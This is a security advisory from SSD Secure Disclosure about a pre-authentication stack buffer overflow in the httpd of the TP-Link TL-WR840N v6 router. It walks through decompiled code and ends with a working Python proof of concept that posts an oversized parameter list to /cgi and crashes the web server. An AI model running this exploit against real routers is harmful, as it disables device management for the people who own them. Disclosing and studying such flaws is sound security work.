SSD Advisory –  TP-Link TL-WR840N Stack Buffer Overflow DoS

Summary

A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.

Credit

An independent security researcher, @delsploit, working with SSD Secure Disclosure.

Affected Devices

  • Device name: TL-WR840Nv6
  • Firmware version: 0.9.1_4.1.19

Vendor Response

The vendor has released a new firmware (TL-WR840N(KR)_V6.2_230702) available at: https://www.tp-link.com/kr/support/download/tl-wr840n/#Firmware

The vendor has stated that they have no plans to release an advisory or CVE for this vulnerability.

Technical Analysis

The TL-WR840N has some accessible paths which are pre-auth. The /cgi path is one of them.

int http_cgi_init()
{
  return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}

The httpd server uses http_cgi_init to register a handler function for /cgi. http_cgi_main.

int __fastcall http_cgi_main(unknown_structure *a1)
{
      /* skip */
      if ( !checkOidAuth(DescStr, cgi_param) )  // return 1 => pre-auth
      {
        cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr);
        goto LABEL_93;
      }
      switch ( cgi_param )
      {
        case 1u:
          v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path
          if ( v6 > 0 )
            goto EXIT;
          if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) )
            goto LABEL_93;
          goto LABEL_85;
     /* skip */
  }

The rdp_getObj is a path reachable to pre-auth that access the vulnerable function (dm_fillStrByObj).

int __fastcall rdp_getObj(int a1, int a2, int a3, int a4)
{
  /* skip */
    {
      _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4);  // vulnerable function
      _s2_5 = _v0_5;
      if ( _v0_5 )
      {
        cdbg_perror("rdp_getObj", 310, _v0_5);
        _s0_1 = _s2_5;
      }
      dm_unLock();
    }
  /* skip */
}

The dm_fillStrByObj function is vulnerable to stack buffer overflow.

unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data)
{
  /* skip */
  obj = dm_getObjNode(oid);
  if ( !obj )
  {
    cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7);
    return 9804;
  }
  memset(index_list, 0, 70);
  v11 = strlen(data);
  if ( v11 )
  {
    v15 = (_BYTE *)strchr(data, '\n');
    v16 = (char *)data;
    param_idx = 0;
    while ( v15 )
    {
      *v15 = 0;
      v17 = (_BYTE *)strchr(v16, '=');
      if ( v17 )
        *v17 = 0;
      index = find_objParam_index(obj, v16);  // [1]
      if ( index == -1 )
      {
        v51 = v16;
        v52 = *(const char **)(obj + 8);
        v19 = 351;
        goto FAILED_INDEX;
      }
      v11 += ~(v15 - v16);
      index_list[param_idx] = index;  // [2]
      param_idx = (unsigned __int16)(param_idx + 1);
      if ( !v11 )
        goto LABEL_24;
      v16 = v15 + 1;
      v15 = (_BYTE *)strchr(v15 + 1, '\n');
    }
  /* skip */
}

The 6th argument (data) is provided by the remote user as part of the input he gives in the URL.

It is converted to index after calling find_objParam_index at [1].

It is then saved into index_list[param_idx] at [2].

But there is no limitation on value used in param_id, it can be increased indefinitely. This results in an an OOB bug.

Because index_list is a local variable, it leads stack buffer overflow.

Due to the way the software was designed if you crash httpd, and httpd does not respawn.

Proof of Concept

import requests
headers = {
	"Host": "192.168.0.1",
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	"Content-Type": "text/plain",
	"Content-Length": "78",
	"Origin": "http://192.168.0.1",
	"Connection": "close",
	"Referer": "http://192.168.0.1/"
}

payload = "\nModelName"*0x100
formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n"

url = "http://192.168.0.1/cgi?1"

response = requests.post(url, data=formdata, headers=headers)
print(response.text)

?

Get in touch